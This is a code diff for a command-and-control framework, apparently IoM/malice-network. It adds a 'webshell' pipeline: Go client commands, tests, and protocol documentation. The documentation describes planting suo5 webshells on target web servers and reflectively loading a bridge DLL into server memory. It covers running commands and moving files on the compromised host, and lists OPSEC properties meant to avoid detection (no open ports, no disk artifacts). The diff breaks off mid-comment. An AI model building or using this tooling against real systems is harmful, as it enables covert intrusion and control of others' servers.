diff --git a/client/command/config/commands_test.go b/client/command/config/commands_test.go index efd13adb..18e344a9 100644 --- a/client/command/config/commands_test.go +++ b/client/command/config/commands_test.go @@ -24,7 +24,7 @@ func TestCommandsIncludeAIConfigSubcommand(t *testing.T) { if aiCmd.Hidden { t.Fatal("config ai command should be visible") } - if !strings.Contains(aiCmd.Example, "config ai --show") { + if !strings.Contains(aiCmd.Example, "config ai\n") { t.Fatalf("expected config ai examples, got:\n%s", aiCmd.Example) } if strings.Contains(aiCmd.Example, "ai-config --") { diff --git a/client/command/pipeline/commands.go b/client/command/pipeline/commands.go index ce805e68..8d87ab6e 100644 --- a/client/command/pipeline/commands.go +++ b/client/command/pipeline/commands.go @@ -243,16 +243,115 @@ rem update interval --pipeline-id rem_graph_api_03 --agent-id uDM0BgG6 5000 remCmd.AddCommand(listremCmd, newRemCmd, startRemCmd, stopRemCmd, deleteRemCmd, updateRemCmd) + // WebShell pipeline commands + webshellCmd := &cobra.Command{ + Use: "webshell", + Short: "Manage WebShell pipelines", + Long: "List, create, start, stop, and delete WebShell bridge pipelines.", + RunE: func(cmd *cobra.Command, args []string) error { + return cmd.Help() + }, + } + + listWebShellCmd := &cobra.Command{ + Use: "list [listener]", + Short: "List webshell pipelines", + RunE: func(cmd *cobra.Command, args []string) error { + return ListWebShellCmd(cmd, con) + }, + } + common.BindArgCompletions(listWebShellCmd, nil, common.ListenerIDCompleter(con)) + + newWebShellCmd := &cobra.Command{ + Use: "new [name]", + Short: "Register a new webshell pipeline with suo5 transport", + Long: "Register a WebShell pipeline that uses suo5 for full-duplex streaming to the target webshell.", + Args: cobra.MaximumNArgs(1), + RunE: func(cmd *cobra.Command, args []string) error { + return NewWebShellCmd(cmd, con) + }, + Example: `~~~ +webshell new --listener my-listener --suo5 suo5://target/bridge.php --token secret +webshell new ws1 --listener my-listener --suo5 suo5://target/bridge.php --token secret --dll /path/to/dll +~~~`, + } + common.BindFlag(newWebShellCmd, func(f *pflag.FlagSet) { + f.StringP("listener", "l", "", "listener id") + f.String("suo5", "", "suo5 URL to webshell (e.g., suo5://target/bridge.php)") + f.String("token", "", "stage token for DLL bootstrap authentication") + f.String("dll", "", "path to bridge DLL for auto-loading") + f.String("deps", "", "directory containing dependency files (e.g., jna.jar)") + }) + common.BindFlagCompletions(newWebShellCmd, func(comp carapace.ActionMap) { + comp["listener"] = common.ListenerIDCompleter(con) + comp["suo5"] = carapace.ActionValues().Usage("suo5 URL") + comp["dll"] = carapace.ActionFiles().Usage("bridge DLL path") + comp["deps"] = carapace.ActionDirectories().Usage("deps directory") + }) + newWebShellCmd.MarkFlagRequired("listener") + newWebShellCmd.MarkFlagRequired("suo5") + + startWebShellCmd := &cobra.Command{ + Use: "start ", + Short: "Start a webshell pipeline", + Args: cobra.ExactArgs(1), + RunE: func(cmd *cobra.Command, args []string) error { + return StartWebShellCmd(cmd, con) + }, + } + common.BindFlag(startWebShellCmd, func(f *pflag.FlagSet) { + f.StringP("listener", "l", "", "listener id") + }) + common.BindFlagCompletions(startWebShellCmd, func(comp carapace.ActionMap) { + comp["listener"] = common.ListenerIDCompleter(con) + }) + common.BindArgCompletions(startWebShellCmd, nil, common.PipelineCompleter(con, webshellPipelineType)) + + stopWebShellCmd := &cobra.Command{ + Use: "stop ", + Short: "Stop a webshell pipeline", + Args: cobra.ExactArgs(1), + RunE: func(cmd *cobra.Command, args []string) error { + return StopWebShellCmd(cmd, con) + }, + } + common.BindFlag(stopWebShellCmd, func(f *pflag.FlagSet) { + f.StringP("listener", "l", "", "listener id") + }) + common.BindFlagCompletions(stopWebShellCmd, func(comp carapace.ActionMap) { + comp["listener"] = common.ListenerIDCompleter(con) + }) + common.BindArgCompletions(stopWebShellCmd, nil, common.PipelineCompleter(con, webshellPipelineType)) + + deleteWebShellCmd := &cobra.Command{ + Use: "delete ", + Short: "Delete a webshell pipeline", + Args: cobra.ExactArgs(1), + RunE: func(cmd *cobra.Command, args []string) error { + return DeleteWebShellCmd(cmd, con) + }, + } + common.BindFlag(deleteWebShellCmd, func(f *pflag.FlagSet) { + f.StringP("listener", "l", "", "listener id") + }) + common.BindFlagCompletions(deleteWebShellCmd, func(comp carapace.ActionMap) { + comp["listener"] = common.ListenerIDCompleter(con) + }) + common.BindArgCompletions(deleteWebShellCmd, nil, common.PipelineCompleter(con, webshellPipelineType)) + + webshellCmd.AddCommand(listWebShellCmd, newWebShellCmd, startWebShellCmd, stopWebShellCmd, deleteWebShellCmd) + // Enable wizard for pipeline commands - common.EnableWizardForCommands(tcpCmd, httpCmd, bindCmd, newRemCmd) + common.EnableWizardForCommands(tcpCmd, httpCmd, bindCmd, newRemCmd, newWebShellCmd) // Register wizard providers for dynamic options registerWizardProviders(tcpCmd, con) registerWizardProviders(httpCmd, con) registerWizardProviders(bindCmd, con) registerWizardProviders(newRemCmd, con) + registerWizardProviders(newWebShellCmd, con) - return []*cobra.Command{tcpCmd, httpCmd, bindCmd, remCmd} + return []*cobra.Command{tcpCmd, httpCmd, bindCmd, remCmd, webshellCmd} } // registerWizardProviders registers dynamic option providers for wizard. diff --git a/client/command/pipeline/commands_test.go b/client/command/pipeline/commands_test.go index 075ecd86..098bdd70 100644 --- a/client/command/pipeline/commands_test.go +++ b/client/command/pipeline/commands_test.go @@ -9,8 +9,8 @@ import ( func TestCommandsExposeExpectedPipelineRoots(t *testing.T) { cmds := Commands(&core.Console{}) - if len(cmds) != 4 { - t.Fatalf("pipeline command roots = %d, want 4", len(cmds)) + if len(cmds) != 5 { + t.Fatalf("pipeline command roots = %d, want 5", len(cmds)) } want := map[string]bool{ @@ -18,6 +18,7 @@ func TestCommandsExposeExpectedPipelineRoots(t *testing.T) { consts.HTTPPipeline: true, consts.CommandPipelineBind: true, consts.CommandRem: true, + "webshell": true, } for _, cmd := range cmds { delete(want, cmd.Name()) diff --git a/client/command/pipeline/webshell.go b/client/command/pipeline/webshell.go new file mode 100644 index 00000000..bc1410af --- /dev/null +++ b/client/command/pipeline/webshell.go @@ -0,0 +1,206 @@ +package pipeline + +import ( + "encoding/json" + "fmt" + + "github.com/chainreactors/IoM-go/proto/client/clientpb" + "github.com/chainreactors/malice-network/client/core" + "github.com/chainreactors/tui" + "github.com/spf13/cobra" +) + +const webshellPipelineType = "webshell" + +// webshellParams mirrors the server-side struct for JSON serialization. +type webshellCmdParams struct { + Suo5URL string `json:"suo5_url"` + StageToken string `json:"stage_token,omitempty"` + DLLPath string `json:"dll_path,omitempty"` + DepsDir string `json:"deps_dir,omitempty"` +} + +// ListWebShellCmd lists all webshell pipelines for a given listener. +func ListWebShellCmd(cmd *cobra.Command, con *core.Console) error { + listenerID := cmd.Flags().Arg(0) + pipes, err := con.Rpc.ListPipelines(con.Context(), &clientpb.Listener{ + Id: listenerID, + }) + if err != nil { + return err + } + + var webshells []*clientpb.CustomPipeline + for _, pipe := range pipes.Pipelines { + if pipe.Type == webshellPipelineType { + if custom := pipe.GetCustom(); custom != nil { + webshells = append(webshells, custom) + } + } + } + + if len(webshells) == 0 { + con.Log.Warnf("No webshell pipelines found\n") + return nil + } + + con.Log.Console(tui.RendStructDefault(webshells) + "\n") + return nil +} + +// NewWebShellCmd registers a new webshell pipeline backed by suo5 transport. +func NewWebShellCmd(cmd *cobra.Command, con *core.Console) error { + name := cmd.Flags().Arg(0) + listenerID, _ := cmd.Flags().GetString("listener") + suo5URL, _ := cmd.Flags().GetString("suo5") + token, _ := cmd.Flags().GetString("token") + dllPath, _ := cmd.Flags().GetString("dll") + depsDir, _ := cmd.Flags().GetString("deps") + + if listenerID == "" { + return fmt.Errorf("listener id is required") + } + if suo5URL == "" { + return fmt.Errorf("--suo5 URL is required (e.g., suo5://target/bridge.php)") + } + if name == "" { + name = fmt.Sprintf("webshell_%s", listenerID) + } + + params := webshellCmdParams{ + Suo5URL: suo5URL, + StageToken: token, + DLLPath: dllPath, + DepsDir: depsDir, + } + paramsJSON, _ := json.Marshal(params) + + pipeline := &clientpb.Pipeline{ + Name: name, + ListenerId: listenerID, + Enable: true, + Type: webshellPipelineType, + Body: &clientpb.Pipeline_Custom{ + Custom: &clientpb.CustomPipeline{ + Name: name, + ListenerId: listenerID, + Params: string(paramsJSON), + }, + }, + } + + _, err := con.Rpc.RegisterPipeline(con.Context(), pipeline) + if err != nil { + return fmt.Errorf("register webshell pipeline %s: %w", name, err) + } + con.Log.Importantf("WebShell pipeline %s registered\n", name) + + _, err = con.Rpc.StartPipeline(con.Context(), &clientpb.CtrlPipeline{ + Name: name, + ListenerId: listenerID, + Pipeline: pipeline, + }) + if err != nil { + return fmt.Errorf("start webshell pipeline %s: %w", name, err) + } + + con.Log.Importantf("WebShell pipeline %s started (suo5: %s)\n", name, suo5URL) + return nil +} + +// StartWebShellCmd starts a stopped webshell pipeline. +func StartWebShellCmd(cmd *cobra.Command, con *core.Console) error { + name := cmd.Flags().Arg(0) + listenerID, _ := cmd.Flags().GetString("listener") + pipeline, err := resolveWebShellPipeline(con, name, listenerID) + if err != nil { + return err + } + _, err = con.Rpc.StartPipeline(con.Context(), &clientpb.CtrlPipeline{ + Name: name, + ListenerId: pipeline.GetListenerId(), + }) + if err != nil { + return fmt.Errorf("start webshell pipeline %s: %w", name, err) + } + con.Log.Importantf("WebShell pipeline %s started\n", name) + return nil +} + +// StopWebShellCmd stops a running webshell pipeline. +func StopWebShellCmd(cmd *cobra.Command, con *core.Console) error { + name := cmd.Flags().Arg(0) + listenerID, _ := cmd.Flags().GetString("listener") + pipeline, err := resolveWebShellPipeline(con, name, listenerID) + if err != nil { + return err + } + _, err = con.Rpc.StopPipeline(con.Context(), &clientpb.CtrlPipeline{ + Name: name, + ListenerId: pipeline.GetListenerId(), + }) + if err != nil { + return err + } + con.Log.Importantf("WebShell pipeline %s stopped\n", name) + return nil +} + +// DeleteWebShellCmd deletes a webshell pipeline. +func DeleteWebShellCmd(cmd *cobra.Command, con *core.Console) error { + name := cmd.Flags().Arg(0) + listenerID, _ := cmd.Flags().GetString("listener") + pipeline, err := resolveWebShellPipeline(con, name, listenerID) + if err != nil { + return err + } + _, err = con.Rpc.DeletePipeline(con.Context(), &clientpb.CtrlPipeline{ + Name: name, + ListenerId: pipeline.GetListenerId(), + }) + if err != nil { + return err + } + con.Log.Importantf("WebShell pipeline %s deleted\n", name) + return nil +} + +func resolveWebShellPipeline(con *core.Console, name, listenerID string) (*clientpb.Pipeline, error) { + if name == "" { + return nil, fmt.Errorf("webshell pipeline name is required") + } + if listenerID == "" { + if pipe, ok := con.Pipelines[name]; ok { + if pipe.GetType() != webshellPipelineType { + return nil, fmt.Errorf("pipeline %s is type %s, not %s", name, pipe.GetType(), webshellPipelineType) + } + return pipe, nil + } + } + + pipes, err := con.Rpc.ListPipelines(con.Context(), &clientpb.Listener{Id: listenerID}) + if err != nil { + return nil, err + } + + var match *clientpb.Pipeline + for _, pipe := range pipes.GetPipelines() { + if pipe == nil || pipe.GetName() != name { + continue + } + if pipe.GetType() != webshellPipelineType { + return nil, fmt.Errorf("pipeline %s is type %s, not %s", name, pipe.GetType(), webshellPipelineType) + } + if match != nil && match.GetListenerId() != pipe.GetListenerId() { + return nil, fmt.Errorf("multiple webshell pipelines named %s found, please specify --listener", name) + } + match = pipe + } + if match == nil { + if listenerID != "" { + return nil, fmt.Errorf("webshell pipeline %s not found on listener %s", name, listenerID) + } + return nil, fmt.Errorf("webshell pipeline %s not found", name) + } + return match, nil +} diff --git a/client/command/pipeline/webshell_test.go b/client/command/pipeline/webshell_test.go new file mode 100644 index 00000000..864cd34c --- /dev/null +++ b/client/command/pipeline/webshell_test.go @@ -0,0 +1,161 @@ +package pipeline_test + +import ( + "context" + "encoding/json" + "errors" + "strings" + "testing" + + "github.com/chainreactors/IoM-go/proto/client/clientpb" + pipelinecmd "github.com/chainreactors/malice-network/client/command/pipeline" + "github.com/chainreactors/malice-network/client/command/testsupport" + "github.com/spf13/cobra" +) + +func TestNewWebShellCmdStoresParamsInCustomPipeline(t *testing.T) { + h := testsupport.NewClientHarness(t) + + cmd := newWebShellTestCommand(t, "--listener", "listener-a", "--suo5", "suo5://target/bridge.php", "--token", "secret123", "ws-a") + if err := pipelinecmd.NewWebShellCmd(cmd, h.Console); err != nil { + t.Fatalf("NewWebShellCmd failed: %v", err) + } + + calls := h.Recorder.Calls() + if len(calls) != 2 { + t.Fatalf("call count = %d, want 2", len(calls)) + } + if calls[0].Method != "RegisterPipeline" { + t.Fatalf("first method = %s, want RegisterPipeline", calls[0].Method) + } + + req, ok := calls[0].Request.(*clientpb.Pipeline) + if !ok { + t.Fatalf("register request type = %T, want *clientpb.Pipeline", calls[0].Request) + } + if req.Type != "webshell" { + t.Fatalf("pipeline type = %q, want %q", req.Type, "webshell") + } + custom, ok := req.Body.(*clientpb.Pipeline_Custom) + if !ok { + t.Fatalf("register pipeline body = %T, want *clientpb.Pipeline_Custom", req.Body) + } + + var params struct { + Suo5URL string `json:"suo5_url"` + StageToken string `json:"stage_token"` + } + if err := json.Unmarshal([]byte(custom.Custom.Params), ¶ms); err != nil { + t.Fatalf("unmarshal params: %v", err) + } + if params.Suo5URL != "suo5://target/bridge.php" { + t.Fatalf("suo5_url = %q, want %q", params.Suo5URL, "suo5://target/bridge.php") + } + if params.StageToken != "secret123" { + t.Fatalf("stage_token = %q, want %q", params.StageToken, "secret123") + } +} + +func TestNewWebShellCmdRequiresSuo5Flag(t *testing.T) { + h := testsupport.NewClientHarness(t) + cmd := newWebShellTestCommand(t, "--listener", "listener-b", "ws-b") + err := pipelinecmd.NewWebShellCmd(cmd, h.Console) + if err == nil { + t.Fatal("NewWebShellCmd error = nil, want error") + } + if !strings.Contains(err.Error(), "--suo5") { + t.Fatalf("error = %q, want suo5 requirement", err) + } +} + +func TestNewWebShellCmdWrapsRegisterError(t *testing.T) { + h := testsupport.NewClientHarness(t) + h.Recorder.OnEmpty("RegisterPipeline", func(_ context.Context, _ any) (*clientpb.Empty, error) { + return nil, errors.New("listener not found") + }) + + cmd := newWebShellTestCommand(t, "--listener", "listener-c", "--suo5", "suo5://target/x.php", "--token", "secret", "ws-c") + err := pipelinecmd.NewWebShellCmd(cmd, h.Console) + if err == nil { + t.Fatal("NewWebShellCmd error = nil, want error") + } + if !strings.Contains(err.Error(), "register webshell pipeline") { + t.Fatalf("error = %q, want register error", err) + } +} + +func TestStartWebShellCmdRejectsNonWebShellPipeline(t *testing.T) { + h := testsupport.NewClientHarness(t) + h.Console.Pipelines["tcp-a"] = &clientpb.Pipeline{ + Name: "tcp-a", + ListenerId: "listener-a", + Type: "tcp", + } + + cmd := newWebShellTestCommand(t, "tcp-a") + err := pipelinecmd.StartWebShellCmd(cmd, h.Console) + if err == nil { + t.Fatal("StartWebShellCmd error = nil, want error") + } + if !strings.Contains(err.Error(), "pipeline tcp-a is type tcp, not webshell") { + t.Fatalf("error = %q, want pipeline type validation", err) + } + if calls := h.Recorder.Calls(); len(calls) != 0 { + t.Fatalf("call count = %d, want 0", len(calls)) + } +} + +func TestStopWebShellCmdResolvesListenerAndStopsMatchingPipeline(t *testing.T) { + h := testsupport.NewClientHarness(t) + h.Recorder.OnPipelines("ListPipelines", func(_ context.Context, in any) (*clientpb.Pipelines, error) { + listener, ok := in.(*clientpb.Listener) + if !ok { + t.Fatalf("request type = %T, want *clientpb.Listener", in) + } + if listener.GetId() != "listener-z" { + t.Fatalf("listener id = %q, want %q", listener.GetId(), "listener-z") + } + return &clientpb.Pipelines{ + Pipelines: []*clientpb.Pipeline{{ + Name: "ws-z", + ListenerId: "listener-z", + Type: "webshell", + }}, + }, nil + }) + + cmd := newWebShellTestCommand(t, "--listener", "listener-z", "ws-z") + if err := pipelinecmd.StopWebShellCmd(cmd, h.Console); err != nil { + t.Fatalf("StopWebShellCmd failed: %v", err) + } + + calls := h.Recorder.Calls() + if len(calls) != 2 { + t.Fatalf("call count = %d, want 2", len(calls)) + } + if calls[1].Method != "StopPipeline" { + t.Fatalf("second method = %s, want StopPipeline", calls[1].Method) + } + req, ok := calls[1].Request.(*clientpb.CtrlPipeline) + if !ok { + t.Fatalf("stop request type = %T, want *clientpb.CtrlPipeline", calls[1].Request) + } + if req.GetListenerId() != "listener-z" { + t.Fatalf("stop listener_id = %q, want %q", req.GetListenerId(), "listener-z") + } +} + +func newWebShellTestCommand(t *testing.T, args ...string) *cobra.Command { + t.Helper() + + cmd := &cobra.Command{} + cmd.Flags().StringP("listener", "l", "", "listener id") + cmd.Flags().String("suo5", "", "suo5 URL") + cmd.Flags().String("token", "", "stage token") + cmd.Flags().String("dll", "", "DLL path") + cmd.Flags().String("deps", "", "deps directory") + if err := cmd.Flags().Parse(args); err != nil { + t.Fatalf("parse flags: %v", err) + } + return cmd +} diff --git a/client/command/testsupport/recorder.go b/client/command/testsupport/recorder.go index 65256b23..5eff6e15 100644 --- a/client/command/testsupport/recorder.go +++ b/client/command/testsupport/recorder.go @@ -383,6 +383,18 @@ func (r *RecorderRPC) GetAllCertificates(ctx context.Context, in *clientpb.Empty return &clientpb.Certs{}, nil } +func (r *RecorderRPC) RegisterPipeline(ctx context.Context, in *clientpb.Pipeline, opts ...grpc.CallOption) (*clientpb.Empty, error) { + return r.emptyResponse(ctx, "RegisterPipeline", in) +} + +func (r *RecorderRPC) ListPipelines(ctx context.Context, in *clientpb.Listener, opts ...grpc.CallOption) (*clientpb.Pipelines, error) { + r.recordPrimary(ctx, "ListPipelines", in) + if responder, ok := r.pipelinesResponders["ListPipelines"]; ok { + return responder(ctx, in) + } + return &clientpb.Pipelines{}, nil +} + func (r *RecorderRPC) StartPipeline(ctx context.Context, in *clientpb.CtrlPipeline, opts ...grpc.CallOption) (*clientpb.Empty, error) { return r.emptyResponse(ctx, "StartPipeline", in) } diff --git a/docs/protocol/webshell-bridge.md b/docs/protocol/webshell-bridge.md new file mode 100644 index 00000000..6ae4a163 --- /dev/null +++ b/docs/protocol/webshell-bridge.md @@ -0,0 +1,187 @@ +# WebShell Bridge + +## Overview + +WebShell Bridge enables IoM to operate through webshells (JSP/PHP/ASPX) using a memory channel architecture. The bridge DLL is loaded into the web server process memory, and the webshell calls DLL exports directly via function pointers — no TCP ports opened on the target. + +- **Product layer**: Server sees a `CustomPipeline(type="webshell")`. Operators interact via `webshell new/start/stop/delete` commands. +- **Implementation layer**: `WebShellPipeline` in the listener process handles DLL bootstrap via HTTP and establishes a persistent suo5 data channel. +- **Transport layer**: The webshell loads the DLL, resolves exports, and calls `bridge_init`/`bridge_process` directly. Pure memory channel. + +## Architecture + +``` +Product Layer (operator sees) +───────────────────────────── + Client/TUI + webshell new --listener my-listener + use + exec whoami + + Server + CustomPipeline(type="webshell") + Session appears like any other implant session + + +Listener Process (WebShellPipeline) +──────────────────────────────────── + Runs inside the listener, connects to Server via ListenerRPC (mTLS) + + ┌─ Bootstrap (HTTP POST + query string) ───────────────────┐ + │ ?s=status / ?s=load / ?s=init / ?s=deps&name=... │ + │ Body = raw payload (DLL bytes, etc.) │ + └──────────────────────────────────────────────────────────┘ + + ┌─ Data channel (suo5 full-duplex) ────────────────────────┐ + │ proxyclient/suo5 → net.Conn │ + │ Malefic wire format via MaleficParser (shared w/ TCP) │ + │ Compressed + optional Age encryption │ + └──────────────────────────────────────────────────────────┘ + + ┌─ Forward integration ────────────────────────────────────┐ + │ SpiteStream ↔ MaleficParser read/write │ + │ Session registration, checkin, task routing │ + └──────────────────────────────────────────────────────────┘ + + +Target Web Server Process +───────────────────────── + WebShell (JSP/PHP/ASPX) + - Bridge DLL loading (ReflectiveLoader) + - Export resolution (bridge_init, bridge_process) + - malefic frames → call bridge_process() → return malefic frame response + - No port opened, no TCP loopback + + Bridge Runtime DLL (in web server process memory) + ┌─ export interface ────────────────────────────────┐ + │ bridge_init() → Register (SysInfo + Modules) │ + │ bridge_process() → Spites in/out (protobuf) │ + └───────────────────────────────────────────────────┘ + + ┌─ malefic module runtime ─────────────────────────┐ + │ exec / bof / execute_pe / upload / download / ...│ + │ All malefic modules available │ + └──────────────────────────────────────────────────┘ +``` + +## Data Flow + +``` +Client exec("whoami") + → Server (SpiteStream) + → WebShellPipeline handler (receives SpiteRequest) + → MaleficParser.WritePacket → suo5 conn + → WebShell (calls bridge_process via function pointer) + → DLL module runtime → exec("whoami") → "root" + → malefic frame response via suo5 conn + → readLoop: MaleficParser.ReadPacket → Forwarders.Send(SpiteResponse) + → Server → Client displays "root" +``` + +## Usage + +### 1. Deploy webshell + +Deploy the suo5 webshell (JSP/PHP/ASPX) to the target web server. + +### 2. Register and start the pipeline + +``` +webshell new --listener my-listener --suo5 suo5://target/bridge.jsp --dll /path/to/bridge.dll +``` + +Use the suo5 URL scheme (`suo5://` or `suo5s://` for HTTPS). + +The `--dll` flag enables auto-loading: when a session is initialized, the pipeline automatically delivers the DLL to the webshell if it is not already loaded. + +### 3. Interact + +``` +use +exec whoami +upload /local/file /remote/path +download /remote/file +``` + +## Protocol + +### Bootstrap (HTTP POST) + +Bootstrap requests use simple HTTP POST with stage in query string. Authentication relies on suo5's own transport security. + +``` +POST /bridge.jsp?s=status HTTP/1.1 +POST /bridge.jsp?s=load HTTP/1.1 (body = raw DLL bytes) +POST /bridge.jsp?s=init HTTP/1.1 +POST /bridge.jsp?s=deps&name=.jna.jar HTTP/1.1 (body = file bytes) +``` + +| Stage | Payload | Response | +|-------|---------|----------| +| `status` | (empty) | JSON `{"ready":true,...}` or `LOADED`/`NOT_LOADED` | +| `load` | Raw DLL bytes | `OK:memory` or error string | +| `init` | (empty) | `[4B sessionID LE][Register protobuf]` | +| `deps` | File bytes (name in `?name=` param) | `OK:` or error string | + +### Data Channel (Malefic Wire Format) + +After bootstrap, a persistent suo5 connection carries bidirectional frames using the standard malefic wire format (reuses `MaleficParser`): + +``` +[0xd1][4B sessionID LE][4B payload_len LE][compressed Spites protobuf][0xd2] +``` + +- Identical to the malefic implant wire format — same delimiters, same header layout +- Payload is compressed (and optionally Age-encrypted via `WithSecure`) +- Parsed by `server/internal/parser/malefic/parser.go` (shared with TCP/HTTP pipelines) + +### DLL Export Interface + +The bridge DLL must export these functions: + +```c +// Initialize and return serialized Register protobuf +// Output format: [4 bytes sessionID LE][Register protobuf bytes] +int __stdcall bridge_init( + uint8_t* out_buf, // output buffer + uint32_t out_cap, // buffer capacity + uint32_t* out_len // actual bytes written +); // returns 0 on success + +// Process serialized Spites protobuf, return response Spites +int __stdcall bridge_process( + uint8_t* in_buf, // input Spites protobuf + uint32_t in_len, // input length + uint8_t* out_buf, // output buffer for response Spites + uint32_t out_cap, // buffer capacity + uint32_t* out_len // actual bytes written +); // returns 0 on success + +// Optional: cleanup +int __stdcall bridge_destroy(); +``` + +The DLL must also export `ReflectiveLoader` for the loading phase. The webshell uses ReflectiveLoader to map the DLL, then resolves `bridge_init`/`bridge_process` from the mapped image's export table. + +## OPSEC Properties + +| Property | Status | +|----------|--------| +| Custom HTTP headers | None — no X-*, no custom cookies | +| Content-Type | `application/octet-stream` (bootstrap) | +| Authentication | Delegated to suo5 transport | +| Data channel | Malefic wire format with compression + optional Age encryption | +| Ports opened | None on target | +| Disk artifacts | None (DLL is memory-only) | + +## Key Files + +| Purpose | Path | +|---------|------| +| WebShell pipeline | `server/listener/webshell.go` | +| Pipeline tests | `server/listener/webshell_test.go` | +| Malefic parser (shared) | `server/internal/parser/malefic/parser.go` | +| Client commands | `client/command/pipeline/webshell.go` | +| Webshell (ASPX) | `suo5-webshell/bridge.aspx` | +| Webshell (PHP) | `suo5-webshell/bridge.php` | +| Webshell (JSP) | `suo5-webshell/bridge.jsp` | diff --git a/external/IoM-go b/external/IoM-go index 878f45b4..1181f64a 160000 --- a/external/IoM-go +++ b/external/IoM-go @@ -1 +1 @@ -Subproject commit 878f45b4d1cb34ea132a9eafea3ae79caf3b07f0 +Subproject commit 1181f64a77d24693fc6820ddefc908a35babedfd diff --git a/go.mod b/go.mod index 58500c5f..91ce5cc0 100644 --- a/go.mod +++ b/go.mod @@ -10,6 +10,7 @@ require ( github.com/chainreactors/logs v0.0.0-20250312104344-9f30fa69d3c9 github.com/chainreactors/mals v0.0.0-20250717185731-227f71a931fa github.com/chainreactors/parsers v0.0.0-20250225073555-ab576124d61f + github.com/chainreactors/proxyclient v1.0.4-0.20260218115902-74a84a4535b0 github.com/chainreactors/rem v0.3.0 github.com/chainreactors/tui v0.1.1 github.com/chainreactors/utils v0.0.0-20241209140746-65867d2f78b2 @@ -79,6 +80,7 @@ require ( github.com/alibabacloud-go/tea v1.4.0 // indirect github.com/alibabacloud-go/tea-utils/v2 v2.0.7 // indirect github.com/aliyun/credentials-go v1.4.7 // indirect + github.com/andybalholm/brotli v1.1.0 // indirect github.com/atotto/clipboard v0.1.4 // indirect github.com/aws/aws-sdk-go-v2 v1.41.1 // indirect github.com/aws/aws-sdk-go-v2/config v1.32.8 // indirect @@ -105,7 +107,6 @@ require ( github.com/cbroglie/mustache v1.4.0 // indirect github.com/cenkalti/backoff/v5 v5.0.3 // indirect github.com/chainreactors/fingers v0.0.0-20240702104653-a66e34aa41df // indirect - github.com/chainreactors/proxyclient v1.0.4-0.20260218115902-74a84a4535b0 // indirect github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect github.com/charmbracelet/colorprofile v0.4.3 // indirect github.com/charmbracelet/harmonica v0.2.0 // indirect @@ -126,6 +127,7 @@ require ( github.com/clipperhouse/displaywidth v0.9.0 // indirect github.com/clipperhouse/stringish v0.1.1 // indirect github.com/clipperhouse/uax29/v2 v2.7.0 // indirect + github.com/cloudflare/circl v1.3.8 // indirect github.com/creack/pty v1.1.24 // indirect github.com/dlclark/regexp2 v1.11.5 // indirect github.com/docker/go-connections v0.5.0 // indirect @@ -138,9 +140,11 @@ require ( github.com/go-dedup/megophone v0.0.0-20170830025436-f01be21026f5 // indirect github.com/go-dedup/simhash v0.0.0-20170904020510-9ecaca7b509c // indirect github.com/go-dedup/text v0.0.0-20170907015346-8bb1b95e3cb7 // indirect + github.com/go-gost/gosocks5 v0.3.0 // indirect github.com/go-jose/go-jose/v4 v4.1.3 // indirect github.com/go-sql-driver/mysql v1.8.1 // indirect github.com/go-telegram-bot-api/telegram-bot-api v4.6.4+incompatible // indirect + github.com/gobwas/glob v0.2.3 // indirect github.com/goccy/go-yaml v1.12.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/google/uuid v1.6.0 // indirect @@ -156,6 +160,8 @@ require ( github.com/jinzhu/inflection v1.0.0 // indirect github.com/jinzhu/now v1.1.5 // indirect github.com/json-iterator/go v1.1.13-0.20220915233716-71ac16282d12 // indirect + github.com/kataras/golog v0.1.8 // indirect + github.com/kataras/pio v0.0.11 // indirect github.com/klauspost/cpuid/v2 v2.2.7 // indirect github.com/klauspost/reedsolomon v1.12.0 // indirect github.com/lib/pq v1.10.9 // indirect @@ -184,6 +190,7 @@ require ( github.com/opencontainers/image-spec v1.1.0 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/reeflective/readline v1.1.3 // indirect + github.com/refraction-networking/utls v1.6.4 // indirect github.com/riobard/go-bloom v0.0.0-20200614022211-cdc8013cb5b3 // indirect github.com/rivo/uniseg v0.4.7 // indirect github.com/saferwall/pe v1.5.6 // indirect @@ -204,6 +211,8 @@ require ( github.com/yuin/gluamapper v0.0.0-20150323120927-d836955830e7 // indirect github.com/yuin/goldmark v1.7.4 // indirect github.com/yuin/goldmark-emoji v1.0.3 // indirect + github.com/zema1/rawhttp v0.2.0 // indirect + github.com/zema1/suo5 v1.3.2-0.20250219115440-31983ee59a83 // indirect golang.org/x/mod v0.32.0 // indirect golang.org/x/tools v0.41.0 // indirect golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 // indirect @@ -216,6 +225,7 @@ require ( replace ( github.com/imdario/mergo => dario.cat/mergo v1.0.0 github.com/miekg/dns => github.com/miekg/dns v1.1.58 + github.com/zema1/suo5 => github.com/M09Ic/suo5 v1.3.4 golang.org/x/crypto => golang.org/x/crypto v0.48.0 golang.org/x/mod => golang.org/x/mod v0.17.0 golang.org/x/net => golang.org/x/net v0.50.0 diff --git a/helper/implanttypes/pipeline.go b/helper/implanttypes/pipeline.go index 67ddd643..873459ce 100644 --- a/helper/implanttypes/pipeline.go +++ b/helper/implanttypes/pipeline.go @@ -235,6 +235,9 @@ type PipelineParams struct { ErrorPage string `json:"error_page,omitempty" gorm:"-"` BodyPrefix string `json:"body_prefix,omitempty"` BodySuffix string `json:"body_suffix,omitempty"` + // RawCustomParams preserves the original Custom.Params JSON string for + // non-built-in pipeline types (e.g. webshell), surviving DB roundtrips. + RawCustomParams string `json:"raw_custom_params,omitempty"` } func (params *PipelineParams) String() string { diff --git a/server/internal/core/pipeline.go b/server/internal/core/pipeline.go index fc2f5cb8..71ad286b 100644 --- a/server/internal/core/pipeline.go +++ b/server/internal/core/pipeline.go @@ -2,9 +2,11 @@ package core import ( "errors" + "fmt" "io" "sync" + "github.com/chainreactors/IoM-go/consts" "github.com/chainreactors/IoM-go/proto/client/clientpb" "github.com/chainreactors/malice-network/helper/implanttypes" "github.com/chainreactors/malice-network/server/internal/configs" @@ -99,18 +101,33 @@ func (p *PipelineConfig) WrapBindConn(conn io.ReadWriteCloser) (*cryptostream.Co return cryptostream.WrapBindConn(conn, crys) } -// -//func (p *PipelineConfig) ToFile() *clientpb.Pipeline { -// return &clientpb.Pipeline{ -// Tls: &clientpb.TLS{ -// TLSConfig: p.TlsConfig.TLSConfig, -// Key: p.TlsConfig.Key, -// Enable: p.TlsConfig.Enable, -// }, -// Encryption: &clientpb.Encryption{ -// Enable: p.Encryption.Enable, -// Type: p.Encryption.Type, -// Key: p.Encryption.Key, -// }, -// } -//} +// 